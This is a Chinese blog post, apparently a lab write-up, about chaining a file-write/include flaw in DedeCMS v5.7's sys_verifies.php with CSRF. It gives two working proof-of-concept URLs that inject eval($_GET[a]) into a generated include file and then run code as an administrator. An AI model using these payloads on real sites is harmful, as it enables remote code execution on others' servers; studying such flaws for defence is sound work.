美文网首页
DedeCMS v5.7 通过文件包含和CSRF的配合利用

DedeCMS v5.7 通过文件包含和CSRF的配合利用

作者: N8_xEnn7nA1 | 来源:发表于2018-11-13 11:26 被阅读0次

该靶场使用了 DedeCMS v5.7 ,所以将其源码下载,进行代码审计。

文件包含漏洞出现在 /dede/sys_verifies.php 文件中,来看代码:

image.png

如上图,当请求参数action的值为"getfiles"时,程序会在 /data 目录下生成文件 modifytmp.inc 并写入内容,而写入的内容是我们可以控制的,可通过添加GET请求参数refiles来控制。
要想利用这个 modifytmp.inc 文件,还得在代码中找一处包含该文件的地方。而同一源码文件的下面就有,如下图:

image.png

于是,便可以构造poc 如下:

http://120.203.13.75:8123/csrf/uploads/dede/sys_verifies.php?action=getfiles&refiles[0]=123&refiles[1]=\\%22;eval($_GET[a]);die();//
http://120.203.13.75:8123/csrf/uploads/dede/sys_verifies.php?action=down&a=phpinfo();

然后管理员先访问第一个链接,然后访问第二个链接,结果如下:

image.png

PS:因为 sys_verifies.php 的代码中,会有权限检查,如果不是管理员的话是不能执行下面的代码的,会直接返回登录页面或者提示没有权限。

相关文章

  • DedeCMS v5.7 通过文件包含和CSRF的配合利用

    该靶场使用了 DedeCMS v5.7 ,所以将其源码下载,进行代码审计。 文件包含漏洞出现在 /dede/sys...

  • 修改删除织梦dedecms底部版权信息|开拓族

    在DEDECMS V5.7版本更新后,前台网页底部会出现织梦版权信息 “powered by dedecms”,很...

  • 文件包含漏洞

    文件包含 常见文件包含函数 利用条件 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件 ...

  • 浅谈CSRF攻击

    CSRF攻击概念 CSRF跨站点请求伪造,是一种对网站的恶意利用,其通过伪装来自受信任用户的请求来利用受信任的网站...

  • web访问安全

    1.1 利用FormHash防CSRF和变淡自动提交 FormHash 指的是,通过在 Form 表单中构造一个隐...

  • 【网络安全】HTB靶机渗透系列之Sniper

    介绍 Sniper是一个中等难度的靶机,知识点涉及本地文件包含利用、远程文件包含利用、凭证制作、恶意chm文件利用...

  • django csrf

    一、前言 csrf是django的默认中间件 1.使用csrf的好处 csrf的token与session配合使用...

  • Dedecms上传文件大小受限

    Dedecms上传文件大小受限 场景: dedecms上传视频的时候提示“没有选择上传的文件或选择的文件大小超出大...

  • 简单修改DedeCms 防止网站挂马

    网站安全都是服务器配置、文件权限控制和网站程序三者的相互配合,如果要对DedeCms网站程序的修改来提高安全性。"...

  • CSRF重现与防御

    CSRF介绍: 尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过...

网友评论

      本文标题:DedeCMS v5.7 通过文件包含和CSRF的配合利用

      本文链接:https://www.haomeiwen.com/subject/gzmkfqtx.html